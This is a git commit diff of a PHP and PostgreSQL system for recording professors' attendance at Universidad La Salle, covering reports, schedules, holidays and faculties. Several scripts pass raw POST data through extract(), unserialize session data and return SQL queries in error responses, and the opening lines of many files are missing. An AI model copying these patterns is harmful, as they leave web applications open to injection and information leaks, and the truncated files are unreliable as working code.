commit 89864931618983acabd65b9a6d5ff1318e7768a2 Author: Cloud User Date: Wed Mar 6 17:45:49 2024 -0600 Initial Commit diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..6706b56 --- /dev/null +++ b/.gitignore @@ -0,0 +1,18 @@ +composer.phar +/vendor/ + +/temp/ +/template/ +/node_modules/ +/include/nusoap/ +/fonts/ +/imagenes/ +/concept/ +/backup/ +/.vscode/ +/export/ +/log/ + +/include/.env +*/.env +log/asistencias_2023_08.log diff --git a/.prettierrc b/.prettierrc new file mode 100644 index 0000000..0966f1d --- /dev/null +++ b/.prettierrc @@ -0,0 +1,5 @@ +{ + "tabWidth": 2, + "useTabs": false, + "bracketSpacing": false +} diff --git a/README.md b/README.md new file mode 100644 index 0000000..a5be8e3 --- /dev/null +++ b/README.md @@ -0,0 +1,13 @@ +# Checador de Profesor de la Universidad La Salle 🎓 + +![Imagen Institucional de La Salle](https://paad.lci.ulsa.mx/imagenes/logo_lasalle.png) + +## Descripción + +Herramienta diseñada para el registro y control de asistencia de profesores en la Universidad La Salle. Asegura que los profesores realicen el registro de su entrada y salida y proporciona herramientas de auditoría para supervisores. + +## Características + +- Registro de entrada de profesores. +- Base de datos segura con información del profesor. +- Herramientas de auditoría para supervisores. diff --git a/action/action_asistencias.php b/action/action_asistencias.php new file mode 100644 index 0000000..3e5297b --- /dev/null +++ b/action/action_asistencias.php @@ -0,0 +1,39 @@ + $final_date) { + echo json_encode(['error' => 'La fecha inicial no puede ser mayor a la fecha final']); + die; +} +// Nombre del profesor es opcional +$params = [ + ':carrera' => empty($carrera) ? null : $carrera, + ':periodo' => $periodo, + ':nombre' => empty($nombre) ? null : $nombre, + ':clave' => empty($clave) ? null : $clave, + ':initial_date' => $initial_date->format('Y-m-d'), + ':final_date' => $final_date->format('Y-m-d'), + ':facultad' => $facultad, +]; + +$response = json_encode( + [ + "retardo" => query("SELECT FS_HAS_RETARDO(:facultad) retardo", [ + 'facultad' => $facultad + ]), + "reporte" => queryAll( + "SELECT * FROM fs_asistencia_reporte(:carrera, :periodo, :clave, :nombre, :facultad, :initial_date, :final_date) where total > 0", + $params + ) + ] +); +$user->print_to_log("Genera reporte de asistencias", old: $params); +echo $response; diff --git a/action/action_asistencias_excel.php b/action/action_asistencias_excel.php new file mode 100644 index 0000000..de67c84 --- /dev/null +++ b/action/action_asistencias_excel.php @@ -0,0 +1,98 @@ +print_to_log('Genera excel de asistencias'); + +use PhpOffice\PhpSpreadsheet\Spreadsheet; + +$spreadsheet = new Spreadsheet(); +$sheet = $spreadsheet->getActiveSheet(); + +//crea imagen +$drawing = new \PhpOffice\PhpSpreadsheet\Worksheet\Drawing(); +$drawing->setName('La Salle'); +$drawing->setDescription('La Salle'); +$drawing->setPath('../imagenes/logo.png'); // put your path and image here +$drawing->setCoordinates('A1'); +$drawing->setHeight(100); +$drawing->setOffsetX(10); +//agrega imagen +$drawing->setWorksheet($spreadsheet->getActiveSheet()); + + +// In POST +/** Array + * * nombre + * * clave + * * id + * * total + * * asistencias + * * faltas + * * justificaciones + * * retardos + */ + +$retardo = query("SELECT COALESCE(FS_HAS_RETARDO(:facultad), FALSE) AS retardo", [':facultad' => $user->facultad['facultad_id']])['retardo']; +extract($_POST); + +$row = 6; + +$sheet->setCellValue("A$row", 'Clave'); +$sheet->setCellValue("B$row", 'Profesor'); +$sheet->setCellValue("C$row", 'Asistencias'); +$sheet->setCellValue("D$row", 'Faltas'); +$sheet->setCellValue("E$row", 'Justificaciones'); +$sheet->setCellValue("F$row", 'Retardos'); +$sheet->setCellValue("G$row", 'Total'); + +// $row++; +$col = 0; +# die(print_r($asistencias, true)); +foreach (json_decode($asistencias, true) as $profesor) { + $row++; + $sheet->setCellValue("A$row", $profesor['profesor_clave']); + $sheet->setCellValue("B$row", $profesor['profesor_nombre']); + $sheet->setCellValue("C$row", $profesor['asistencias']); + $sheet->setCellValue("D$row", $profesor['faltas']); + $sheet->setCellValue("E$row", $profesor['justificaciones']); + $sheet->setCellValue("F$row", $profesor['retardos']); + $sheet->setCellValue("G$row", $profesor['total']); +} + +# Style +$sheet->getStyle("A6:G$row")->getBorders()->getAllBorders()->setBorderStyle(\PhpOffice\PhpSpreadsheet\Style\Border::BORDER_THIN); +$sheet->getStyle("A6:G$row")->getAlignment()->setHorizontal(\PhpOffice\PhpSpreadsheet\Style\Alignment::HORIZONTAL_CENTER); +$sheet->getStyle("A6:G$row")->getAlignment()->setVertical(\PhpOffice\PhpSpreadsheet\Style\Alignment::VERTICAL_CENTER); +$sheet->getStyle("A6:G$row")->getAlignment()->setWrapText(true); +$sheet->getStyle("A6:G$row")->getFont()->setSize(12); +$sheet->getStyle("A6:G$row")->getFont()->setName('Indivisa Sans'); +# Autosize columns +foreach (range('A', 'G') as $column) { + $sheet->getColumnDimension($column)->setAutoSize(true); +} +# filters in the column +$sheet->setAutoFilter("A6:G6"); + +if (!$retardo) # hide column + $sheet->getColumnDimension('F')->setVisible(false); + +#$writer = new Xlsx($spreadsheet); +$writer = \PhpOffice\PhpSpreadsheet\IOFactory::createWriter($spreadsheet, 'Xlsx'); +# $writer->save('asistencias.xlsx'); + +// download +header('Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet'); +header('Content-Disposition: attachment;filename="asistencias.xlsx"'); +header('Cache-Control: max-age=0'); + +// cache expires in 60 seconds (1 minute) +header('Expires: mon 26 jul 1997 05:00:00 gmt'); +header('Last-Modified: ' . gmdate('D, d M Y H:i:s') . ' GMT'); +header('Cache-Control: cache, must-revalidate'); +header('Pragma: public'); + +$writer->save('php://output'); diff --git a/action/action_auditoria.php b/action/action_auditoria.php new file mode 100644 index 0000000..225d211 --- /dev/null +++ b/action/action_auditoria.php @@ -0,0 +1,128 @@ + 'unauthorized'])); +} +$user = unserialize($_SESSION['user']); + +// check method +try { + if ($_SERVER['REQUEST_METHOD'] === 'GET') { + $baseDate = $_GET['fecha'] ?? $_GET['fecha_fin'] ?? null; + + $params = [ + ':periodo_id' => $_GET['periodo_id'] == 1 ? $user->periodo_id : null, + ':facultad_id' => $user->facultad['facultad_id'], + ':fecha_inicio' => $_GET['fecha'] ?? $_GET['fecha_inicio'] ?? date('Y-m-d'), + ':fecha_fin' => $baseDate ? date('Y-m-d H:i:s', strtotime($baseDate . ' +24 hours')) : date('Y-m-d H:i:s'), + ]; + $data = $db->query( + "WITH horarios AS ( + SELECT + horario_id, + horario.facultad_id, + horario_fecha_inicio, + horario_fecha_fin, + horario_grupo, + horario_hora, + PERIODO.periodo_fecha_inicio, + PERIODO.periodo_fecha_fin, + salon, + COALESCE(materia_nombre, materia_asignacion_materia) as materia, + coalesce(carrera_nombre, materia_asignacion_carrera) as carrera, + facultad_nombre as facultad, + nivel_nombre as nivel, + horario_fin + FROM horario + left JOIN materia USING (materia_id) + left join carrera using (carrera_id) + left join materia_asignacion using (horario_id) + join facultad on facultad.facultad_id = horario.facultad_id + JOIN PERIODO USING (periodo_id) + JOIN nivel on periodo.nivel_id = nivel.nivel_id + JOIN SALON USING (salon_id) + WHERE (PERIODO.periodo_id, horario.facultad_id) = (COALESCE(:periodo_id, PERIODO.periodo_id), COALESCE(:facultad_id, horario.facultad_id)) + ), + fechas AS ( + SELECT fechas_clase(h.horario_id, true) as registro_fecha_ideal, h.horario_id + FROM horarios h + ) + SELECT + usuario.usuario_nombre, + registro.registro_id, + registro.registro_fecha, + registro.registro_retardo, + registro.registro_justificada, + registro_fecha_supervisor, + justificacion, + comentario, + registro_fecha_justificacion, + profesor.profesor_id, profesor_nombre, profesor_clave, profesor_correo, + horario_id, + materia, carrera, horarios.facultad_id, facultad, nivel, horario_hora, horario_fin, horario_grupo, horarios.salon, + fechas.registro_fecha_ideal, + estado_supervisor.estado_supervisor_id as estado_supervisor_id, + estado_supervisor.nombre as nombre, + estado_supervisor.estado_color as estado_color, + estado_supervisor.estado_icon as estado_icon, + justificador.usuario_nombre as justificador_nombre, + justificador.usuario_clave as justificador_clave, + facultad.facultad_nombre as justificador_facultad, + rol.rol_titulo as justificador_rol, + registro.reposicion_id, + reposicion_fecha, + reposicion_hora, + salon_reposicion.salon as reposicion_salon, + CASE WHEN registro_retardo THEN 'warning' ELSE 'primary' END as color + FROM horarios + JOIN fechas using (horario_id) + JOIN horario_profesor using (horario_id) + JOIN profesor using (profesor_id) + LEFT JOIN registro USING (horario_id, registro_fecha_ideal, profesor_id) + LEFT JOIN reposicion USING (reposicion_id) + LEFT JOIN salon as salon_reposicion ON salon_reposicion.salon_id = reposicion.salon_id + join estado_supervisor ON estado_supervisor.estado_supervisor_id = COALESCE(registro.estado_supervisor_id, 0) + LEFT JOIN USUARIO ON USUARIO.usuario_id = REGISTRO.supervisor_id + LEFT JOIN USUARIO JUSTIFICADOR ON JUSTIFICADOR.usuario_id = REGISTRO.justificador_id + LEFT JOIN ROL on ROL.rol_id = justificador.rol_id + left join facultad on facultad.facultad_id = justificador.facultad_id + WHERE (fechas.registro_fecha_ideal + HORARIO_HORA) BETWEEN + GREATEST(HORARIO_FECHA_INICIO, PERIODO_FECHA_INICIO, :fecha_inicio) AND LEAST(PERIODO_FECHA_FIN, HORARIO_FECHA_FIN, :fecha_fin) + ORDER BY fechas.registro_fecha_ideal DESC, horarios.horario_id, profesor_nombre", + $params + ); + $db->delete('general_log'); + $db->insert('general_log', [ + 'general_log_json' => json_encode($params, JSON_UNESCAPED_UNICODE | JSON_PRETTY_PRINT), + ]); + echo json_encode(array_merge($data), JSON_UNESCAPED_UNICODE | JSON_PRETTY_PRINT); + } else { + http_response_code(405); + echo json_encode(['error' => 'method not allowed']); + exit; + } +} catch (PDOException $th) { + http_response_code(500); + echo json_encode([ + 'error' => $th->getMessage(), + // 'query' => $db->getLastQuery(), + ], JSON_UNESCAPED_UNICODE | JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES | JSON_PARTIAL_OUTPUT_ON_ERROR); + exit; +} catch (Exception $th) { + http_response_code(500); + echo json_encode([ + 'error' => $th->getMessage(), + ], JSON_UNESCAPED_UNICODE | JSON_PRETTY_PRINT); + exit; +} \ No newline at end of file diff --git a/action/action_avisos.php b/action/action_avisos.php new file mode 100644 index 0000000..18c03ff --- /dev/null +++ b/action/action_avisos.php @@ -0,0 +1,52 @@ + 'unauthorized'])); +} +$user = unserialize($_SESSION['user']); + +// check method +try { + if ($_SERVER['REQUEST_METHOD'] === 'GET') { + $data = $db->query( + 'SELECT * FROM AVISO', + [ + ':facultad_id' => $user->facultad['facultad_id'], + ':fecha_inicio' => $_GET['fecha'] ?? $_GET['fecha_inicio'] ?? null, + ':fecha_fin' => $_GET['fecha'] ?? $_GET['fecha_fin'] ?? null, + ] + ); + + $last_query = [ + 'query' => $db->getLastQuery(), + ]; + + echo json_encode($data, JSON_UNESCAPED_UNICODE | JSON_PRETTY_PRINT); + } else { + http_response_code(405); + echo json_encode(['error' => 'method not allowed']); + exit; + } +} catch (PDOException $th) { + http_response_code(500); + echo json_encode([ + 'error' => $th->getMessage(), + 'query' => $db->getLastQuery(), + ], JSON_UNESCAPED_UNICODE | JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES | JSON_PARTIAL_OUTPUT_ON_ERROR); + exit; +} catch (Exception $th) { + http_response_code(500); + echo json_encode([ + 'error' => $th->getMessage(), + ], JSON_UNESCAPED_UNICODE | JSON_PRETTY_PRINT); + exit; +} \ No newline at end of file diff --git a/action/action_carreras.php b/action/action_carreras.php new file mode 100644 index 0000000..b0c8fcb --- /dev/null +++ b/action/action_carreras.php @@ -0,0 +1,27 @@ + 'No se ha iniciado sesión'])); + +$user = unserialize($_SESSION['user']); + +$ruta = "../"; +require_once "../include/bd_pdo.php"; +$facultad_id = $user->facultad['facultad_id']; +$carreras = $db->query( + "SELECT carrera_id, carrera_nombre, clave_carrera + FROM carrera + WHERE + (facultad_id = :facultad_id OR :facultad_id IS NULL) + ORDER BY carrera_nombre DESC", + array('facultad_id' => $facultad_id) +); + +// $user->print_to_log("Crea carrera", old: $_POST); + +die(json_encode($carreras)); \ No newline at end of file diff --git a/action/action_carreras_insert.php b/action/action_carreras_insert.php new file mode 100644 index 0000000..00e1681 --- /dev/null +++ b/action/action_carreras_insert.php @@ -0,0 +1,19 @@ + 'No se ha iniciado sesión'])); + +$user = unserialize($_SESSION['user']); +$ruta = "../"; +require_once "../include/bd_pdo.php"; +$sql = "SELECT fi_carrera(:nombre, :idfacultad, :idnivel, true, :estado)"; +$params = [':nombre' => mb_strtoupper($_POST['nombre']), ':idfacultad' => $_POST['facultad'], ':idnivel' => $_POST['nivel'], ':estado' => $_POST['estado']]; + +print_r($_POST); +echo json_encode(query($sql, $params, true)); +$user->print_to_log("Crea carrera", new: $params); +header("Location: ../carreras.php?facultad=" . $_POST['facultad']); +exit(); diff --git a/action/action_carreras_select.php b/action/action_carreras_select.php new file mode 100644 index 0000000..cb50027 --- /dev/null +++ b/action/action_carreras_select.php @@ -0,0 +1,16 @@ + 'No se ha iniciado sesión'])); + +$user = unserialize($_SESSION['user']); +$ruta = "../"; +require_once "../include/bd_pdo.php"; +global $pdo; +$sql = "SELECT * FROM fs_carreras(:idfacultad, :idcarrera, null)"; +$params = [':idfacultad' => $_POST['idfacultad'], ':idcarrera' => $_POST['idcarrera']]; +$user->print_to_log("Crea carrera", old: $params); +echo json_encode(query($sql, $params, true)); diff --git a/action/action_carreras_update.php b/action/action_carreras_update.php new file mode 100644 index 0000000..5197440 --- /dev/null +++ b/action/action_carreras_update.php @@ -0,0 +1,19 @@ + 'No se ha iniciado sesión'])); + +$user = unserialize($_SESSION['user']); +$ruta = "../"; +require_once "../include/bd_pdo.php"; +$old = query("SELECT * FROM FS_CARRERA WHERE ID = :id", [':id' => $_POST['id']]); +$sql = "SELECT fu_updatecarrera(:idcarrera, :nombre, :activa, :idnivel)"; +print_r($_POST); +$params = [':idcarrera' => $_POST['id'], ':nombre' => mb_strtoupper($_POST['nombre']), ':activa' => $_POST['estado'], ':idnivel' => $_POST['nivel']]; +query($sql, $params, true); +$user->print_to_log("Actualiza carrera.", old: $old, new: $params); +header("Location: ../carreras.php?facultad=" . $_POST['facultad']); +exit(); \ No newline at end of file diff --git a/action/action_diasfestivos_borra.php b/action/action_diasfestivos_borra.php new file mode 100644 index 0000000..92d1732 --- /dev/null +++ b/action/action_diasfestivos_borra.php @@ -0,0 +1,15 @@ + 'No se ha iniciado sesión'])); + +$user = unserialize($_SESSION['user']); +$ruta = "../"; +require_once "../include/bd_pdo.php"; +#$sql = "SELECT * FROM diasfestivos WHERE diasfestivos_id = :id"; +$sql = "DELETE FROM diasfestivos WHERE diasfestivos_id = :id"; +$params = [':id' => $_POST['id']]; +echo json_encode(query($sql, $params, false)); diff --git a/action/action_diasfestivos_insert.php b/action/action_diasfestivos_insert.php new file mode 100644 index 0000000..8c6fbdc --- /dev/null +++ b/action/action_diasfestivos_insert.php @@ -0,0 +1,57 @@ + 'No se ha iniciado sesión'])); + +$user = unserialize($_SESSION['user']); +$ruta = "../"; +require_once "../include/bd_pdo.php"; +global $pdo; +//print_r($_POST); +if (!isset($_POST['periodo']) || count($_POST["periodo"])==0) { + header("Location: ../días_festivos.php?error=0"); + exit(); +} +$periodoArr = $_POST['periodo']; + +if (isset($_POST['rango'])) { + $diaInicio = new DateTime(date("Y-m-d", strtotime(str_replace("/", "-", $_POST['diaFestivo'])))); + $diaFin = new DateTime(date("Y-m-d", strtotime(str_replace("/", "-", $_POST['diaFestivoFin'])))); + $cantidad = $diaFin->diff($diaInicio); + $date = date("Y-m-d", strtotime(str_replace("/", "-", $_POST['diaFestivo']))); + for ($dias = 0; $dias <= $cantidad->days; $dias++) { + foreach($periodoArr as $periodo){ + $db->querySingle('SELECT fi_diasfestivos(:periodo, :dia)', [':periodo' => $periodo, ':dia' => $date]); + /*$sql = "SELECT fi_diasfestivos(:periodo, :dia)"; + $params = [':periodo' => $periodo, ':dia' => $date]; + query($sql, $params, false);*/ + } + $date = date("Y-m-d", strtotime($date . "+ 1 days")); + } + header("Location: ../días_festivos.php"); + exit(); +} else { + /*$sql = "SELECT * FROM fs_diasfestivos(null, :dia)"; + $params = [':dia' => $_POST['diaFestivo']]; + $dia_general = query($sql, $params, false); + $sql = "SELECT * FROM fs_diasfestivos(null, null, :periodo, :dia)"; + $params = [':periodo' => $periodo, ":dia" => $_POST['diaFestivo']]; + $dia = query($sql, $params, false);*/ + //if (!$dia && !$dia_general) { //no hay repetidos + foreach($periodoArr as $periodo){ + $db->querySingle('SELECT fi_diasfestivos(:periodo, :dia)', [':periodo' => $periodo, ':dia' => $_POST['diaFestivo']]); + /*$sql = "SELECT fi_diasfestivos(:periodo, :dia)"; + $params = [':periodo' => $periodo, ":dia" => $_POST['diaFestivo']]; + $id = query($sql, $params, false);*/ + } + header("Location: ../días_festivos.php"); + exit(); + + /*} else { + header("Location: ../días_festivos.php?error=1"); + exit(); + }*/ +} diff --git a/action/action_diasfestivos_select.php b/action/action_diasfestivos_select.php new file mode 100644 index 0000000..efa1006 --- /dev/null +++ b/action/action_diasfestivos_select.php @@ -0,0 +1,19 @@ + 'No se ha iniciado sesión'])); + +$user = unserialize($_SESSION['user']); +$ruta = "../"; +require_once "../include/bd_pdo.php"; +global $pdo; +$params = [':id' => $_POST['id']]; +if ($_POST['periodo'] == 0) { + $sql = "SELECT * FROM fs_diasfestivos(:id, null)"; +} else { + $sql = "SELECT * FROM fs_diasfestivos(null, :id, null, null)"; +} +echo json_encode(query($sql, $params, true)); diff --git a/action/action_diasfestivos_update.php b/action/action_diasfestivos_update.php new file mode 100644 index 0000000..a68eaa5 --- /dev/null +++ b/action/action_diasfestivos_update.php @@ -0,0 +1,31 @@ + 'No se ha iniciado sesión'])); + +$user = unserialize($_SESSION['user']); +$ruta = "../"; +require_once "../include/bd_pdo.php"; +global $pdo; +if ($_POST['periodo'] == 0) { + $periodo = null; +} else + $periodo = $_POST['periodo']; +$sql = "SELECT * FROM fs_diasfestivos(null, :dia) WHERE diasfestivos_id != :id"; +$params = [':dia' => $_POST['diaFestivo'], ':id' => $_POST['id']]; +$dia_general = query($sql, $params, false); +$sql = "SELECT * FROM fs_diasfestivos(null, null, :periodo, :dia) WHERE diasfestivos_id != :id"; +$params = [':periodo' => $periodo, ':dia' => $_POST['diaFestivo'], ':id' => $_POST['id']]; +$dia = query($sql, $params, false); +if (!$dia && !$dia_general) { //no hay repetidos + $sql = "SELECT fu_update_diasfestivos(:id, :dia, :periodo)"; + query($sql, $params, false); + header("Location: ../días_festivos.php"); + exit(); +} else { //es repetido + header("Location: ../días_festivos.php?error=1"); + exit(); +} diff --git a/action/action_estado_supervisor.php b/action/action_estado_supervisor.php new file mode 100644 index 0000000..a64c05a --- /dev/null +++ b/action/action_estado_supervisor.php @@ -0,0 +1,42 @@ + [ + ], +]); +#output rutas: [ ...ruta, salones: [{...salon}] ] +header('Content-Type: application/json charset=utf-8'); +#return html +$ruta = "../"; +require_once "../class/c_login.php"; +// check method +try { + if ($_SERVER['REQUEST_METHOD'] === 'GET') { + // check parameters + $raw = file_get_contents('php://input'); + $post_get = json_decode($raw, true); + + $data = $db->get('estado_supervisor'); + echo json_encode($data, JSON_UNESCAPED_UNICODE | JSON_PRETTY_PRINT); + } else { + http_response_code(405); + echo json_encode(['error' => 'method not allowed']); + exit; + + } + +} catch (PDOException $th) { + http_response_code(500); + echo json_encode([ + 'error' => $th->getMessage(), + 'query' => $db->getLastQuery(), + 'post_data' => $post_get, + ], JSON_UNESCAPED_UNICODE | JSON_PRETTY_PRINT); + exit; +} catch (Exception $th) { + http_response_code(500); + echo json_encode([ + 'error' => $th->getMessage(), + ], JSON_UNESCAPED_UNICODE | JSON_PRETTY_PRINT); + exit; +} \ No newline at end of file diff --git a/action/action_facultad.php b/action/action_facultad.php new file mode 100644 index 0000000..3790346 --- /dev/null +++ b/action/action_facultad.php @@ -0,0 +1,57 @@ + [], +]; +header('Content-Type: application/json charset=utf-8'); +$ruta = "../"; +require_once "../class/c_login.php"; + +// check if the session is started +if (!isset($_SESSION['user'])) { + http_response_code(500); + echo json_encode([ + 'error' => 'No se ha iniciado sesión' + ]); + exit; +} + +$user = unserialize($_SESSION['user']); +try { + if ($_SERVER['REQUEST_METHOD'] === 'GET') { + // check parameters + array_walk($information['GET'], function ($value) { + if (!array_key_exists($value, $_GET)) { + http_response_code(400); + echo json_encode(['error' => "$value is required"]); + exit; + } + }); + $data = $db->query(<< $user->facultad['facultad_id']] + ); + echo json_encode($data, JSON_UNESCAPED_UNICODE | JSON_PRETTY_PRINT); + } else { + http_response_code(405); + echo json_encode(['error' => 'method not allowed']); + exit; + } +} catch (PDOException $th) { + http_response_code(500); + echo json_encode([ + 'error' => $th->getMessage(), + 'query' => $db->getLastQuery(), + ], JSON_UNESCAPED_UNICODE | JSON_PRETTY_PRINT); + exit; +} catch (Exception $th) { + http_response_code(500); + echo json_encode([ + 'error' => $th->getMessage(), + ], JSON_UNESCAPED_UNICODE | JSON_PRETTY_PRINT); + exit; +} \ No newline at end of file diff --git a/action/action_facultades_insert.php b/action/action_facultades_insert.php new file mode 100644 index 0000000..fbadfb5 --- /dev/null +++ b/action/action_facultades_insert.php @@ -0,0 +1,23 @@ + 'No se ha iniciado sesión'])); + +$user = unserialize($_SESSION['user']); +$ruta = "../"; +require_once "../include/bd_pdo.php"; +global $pdo; +$sql = "SELECT fi_facultad(:nombre, :activa)"; +$params = [':nombre' => mb_strtoupper($_POST['nombre']), ':activa' => $_POST['estado']]; +$fac_id = query($sql, $params, true); +$sql = "SELECT fi_tiempo_checado(:idfacultad, :idnivel, :antes, :despues, :retardo)"; +$params = [':idfacultad' => $fac_id['fi_facultad'], ':idnivel' => 1, ':antes' => -15, ':despues' => 16, ':retardo' => 31]; +query($sql, $params, false); +$params = [':idfacultad' => $fac_id['fi_facultad'], ':idnivel' => 2, ':antes' => -15, ':despues' => 16, ':retardo' => 31]; +query($sql, $params, false); +print_r($fac_id); +header("Location: ../carreras.php?facultad=" . $fac_id['fi_facultad']); +exit(); diff --git a/action/action_facultades_select.php b/action/action_facultades_select.php new file mode 100644 index 0000000..82c7516 --- /dev/null +++ b/action/action_facultades_select.php @@ -0,0 +1,15 @@ + 'No se ha iniciado sesión'])); + +$user = unserialize($_SESSION['user']); +$ruta = "../"; +require_once "../include/bd_pdo.php"; +global $pdo; +$sql = "SELECT * FROM facultad WHERE facultad_id = :idFacultad"; +$params = [':idFacultad' => $_POST['id_facultad']]; +echo json_encode(query($sql, $params, false)); diff --git a/action/action_facultades_update.php b/action/action_facultades_update.php new file mode 100644 index 0000000..936cf92 --- /dev/null +++ b/action/action_facultades_update.php @@ -0,0 +1,17 @@ + 'No se ha iniciado sesión'])); + +$user = unserialize($_SESSION['user']); +$ruta = "../"; +require_once "../include/bd_pdo.php"; +global $pdo; +$sql = "SELECT fu_updatefacultad(:nombre, :activa, :id)"; +$params = [':nombre' => mb_strtoupper($_POST['nombre']), ':activa' => $_POST['estado'], ':id' => $_POST['id']]; +query($sql, $params, false); +header("Location: ../facultades.php"); +exit(); diff --git a/action/action_fechas_clase.php b/action/action_fechas_clase.php new file mode 100644 index 0000000..b9ae5f8 --- /dev/null +++ b/action/action_fechas_clase.php @@ -0,0 +1,26 @@ + 'No se ha iniciado sesión'])); + +$user = unserialize($_SESSION['user']); +$ruta = "../"; +require_once "../include/bd_pdo.php"; + +// if method is get +header("Content-Type: application/json"); +if ($_SERVER['REQUEST_METHOD'] === 'GET') { + $user->print_to_log("Acceso a reposiciones"); + if (empty($_GET['horario_id'])) + die(json_encode(['error' => 'No se ha enviado el id del horario'])); + // fecha greater than today + $reposiciones = $db->query("SELECT fecha, EXTRACT(DOW FROM fecha) as day, EXTRACT(MONTH FROM fecha) as month, EXTRACT(YEAR FROM fecha) as year, EXTRACT(DAY FROM fecha) as dia_mes FROM fechas_clase(:horario_id) WHERE fecha > CURRENT_DATE", [ + 'horario_id' => $_GET['horario_id'] + ]); + echo json_encode([ + 'status' => 'success', + 'data' => $reposiciones + ]); +} diff --git a/action/action_grupo.php b/action/action_grupo.php new file mode 100644 index 0000000..3079e11 --- /dev/null +++ b/action/action_grupo.php @@ -0,0 +1,46 @@ + 'No se ha iniciado sesión']); + exit(); +} + +$ruta = "../"; +require_once("../include/bd_pdo.php"); + +if (!isset($_GET['carrera_id'])) { + echo json_encode([ + 'status' => 'error', + 'error' => 'No se ha especificado una carrera' + ]); + exit(); +} + +try { + $grupos = $db->query(<< $user->periodo_id, + ':facultad_id' => $user->facultad['facultad_id'], + ':carrera_id' => $_GET['carrera_id'] ?? 0 + ] + ); +} catch (PDOException $ex) { + echo json_encode([]); + exit(); +} + +echo json_encode(array_map(fn($grupo) => $grupo['horario_grupo'], $grupos)); \ No newline at end of file diff --git a/action/action_grupo_horario.php b/action/action_grupo_horario.php new file mode 100644 index 0000000..5ca8f97 --- /dev/null +++ b/action/action_grupo_horario.php @@ -0,0 +1,28 @@ +querySingle( + "WITH bloques AS ( + SELECT id, hora_inicio, hora_fin + FROM public.bloque_horario + WHERE grupo = ? + ORDER BY hora_inicio ASC +) + +SELECT json_agg(json_build_object( + 'id', id, + 'hora_inicio', hora_inicio, + 'hora_fin', hora_fin, + 'selected', current_time between hora_inicio and hora_fin +)) AS bloque_horario +FROM bloques +", + [$grupo] +)['bloque_horario']; + + +echo $grupo_horarios; diff --git a/action/action_horario.php b/action/action_horario.php new file mode 100644 index 0000000..2718015 --- /dev/null +++ b/action/action_horario.php @@ -0,0 +1,70 @@ + 'unauthorized'])); +} +$user = unserialize($_SESSION['user']); + +// check method +try { + if ($_SERVER['REQUEST_METHOD'] === 'GET') { + if (!(isset($_GET['profesor_id']) || isset($_GET['grupo']))) { + throw new Exception('missing parameters'); + } + if (isset($_GET['profesor_id'])) { + $data = $db->query( + "SELECT *, (EXTRACT(EPOCH FROM (horario_fin - horario_hora) ) / EXTRACT(EPOCH FROM interval '15 minute'))::INT AS bloques + FROM horario_view + JOIN horario_profesor ON horario_profesor.horario_id = horario_view.horario_id + WHERE horario_profesor.profesor_id = :profesor_id + AND (facultad_id = :facultad_id OR :facultad_id IS NULL)", + [ + 'profesor_id' => $_GET['profesor_id'], + 'facultad_id' => $user->facultad['facultad_id'], + ] + ); + } else if (isset($_GET['grupo'])) { + $data = $db->query( + "SELECT *, (EXTRACT(EPOCH FROM (horario_fin - horario_hora) ) / EXTRACT(EPOCH FROM interval '15 minute'))::INT AS bloques + FROM horario_view + WHERE substring(horario_grupo, 7, 3) = (CAST(:grupo AS INT) + 1)::varchar + AND (facultad_id = :facultad_id OR :facultad_id IS NULL) AND carrera_id = :carrera_id", + [ + 'grupo' => $_GET['grupo'], + 'facultad_id' => $user->facultad['facultad_id'], + 'carrera_id' => $_GET['carrera_id'], + ] + ); + } + + $last_query = [ + 'query' => $db->getLastQuery(), + ]; + + echo json_encode($data, JSON_UNESCAPED_UNICODE | JSON_PRETTY_PRINT); + } else { + throw new Exception('invalid method'); + } +} catch (PDOException $th) { + http_response_code(500); + echo json_encode([ + 'error' => $th->getMessage(), + 'query' => $db->getLastQuery(), + ], JSON_UNESCAPED_UNICODE | JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES | JSON_PARTIAL_OUTPUT_ON_ERROR); + exit; +} catch (Exception $th) { + http_response_code(500); + echo json_encode([ + 'error' => $th->getMessage(), + ], JSON_UNESCAPED_UNICODE | JSON_PRETTY_PRINT); + exit; +} \ No newline at end of file diff --git a/action/action_horario_create.php b/action/action_horario_create.php new file mode 100644 index 0000000..1dbaaee --- /dev/null +++ b/action/action_horario_create.php @@ -0,0 +1,39 @@ + $hora, + "salon" => $salón, + "facultad_id" => $facultad, + "periodo" => $periodo, + "grupo" => $grupo, + "materia_id" => $materia, + "dia" => $día, + "duracion" => $duración, + "profesores" => "{{$profesores}}", +]; + +header("Content-Type: application/json"); +$user->print_to_log("Creación de horario", new: $params); + +try { + $db->insert("fs_horario", $params); +} catch (Exception $e) { + die(json_encode([ + "status" => "error", + "message" => "No se pudo crear el horario", + ])); +} +die(json_encode([ + "status" => "success", + "message" => "Horario creado correctamente", +])); diff --git a/action/action_horario_delete.php b/action/action_horario_delete.php new file mode 100644 index 0000000..da54205 --- /dev/null +++ b/action/action_horario_delete.php @@ -0,0 +1,38 @@ + 'No se ha iniciado sesión'])); + +$user = unserialize($_SESSION['user']); + +extract($_POST); +try { + $old = $db + ->where('horario_id', $id) + ->getOne('horario'); + + $user->print_to_log("Eliminación de horario", old: $old); + + $horario = $db + ->where('id', $id) + ->delete('fs_horario'); +} catch (Exception $e) { + // if message contains "Integrity constraint violation" + $message = (strpos($e->getMessage(), 'Foreign') !== false) + ? "No se puede eliminar el registro, tiene datos asociados" + : "Error al eliminar el registro"; + + die(json_encode([ + "status" => "error", + "message" => $message, + "response" => $e->getMessage(), + ])); +} + +die(json_encode([ + "status" => "success", + "message" => "Horario eliminado correctamente", +])); \ No newline at end of file diff --git a/action/action_horario_excel.php b/action/action_horario_excel.php new file mode 100644 index 0000000..4cda178 --- /dev/null +++ b/action/action_horario_excel.php @@ -0,0 +1,51 @@ + $horario['materia'], + 'carrera' => $carrera, + ]; + $horario['materia'] = query("SELECT FI_MATERIA(:materia, :carrera) id", $params)['id']; + + $params = [ + 'clave' => $horario['clave'], + 'nombre' => $horario['nombre'], + 'correo' => $horario['correo'], + 'grado' => $horario['grado'], + 'facultad' => $facultad, + ]; + + $horario['profesor'] = query("SELECT FI_PROFESOR(:nombre, :clave, :facultad, :correo, :grado) id", $params)['id']; + $horario = array_diff_key($horario, array_flip(['clave', 'nombre', 'correo', 'grado', ''])); + $horario['periodo'] = $periodo; + $horario['facultad'] = $facultad; + + try { + 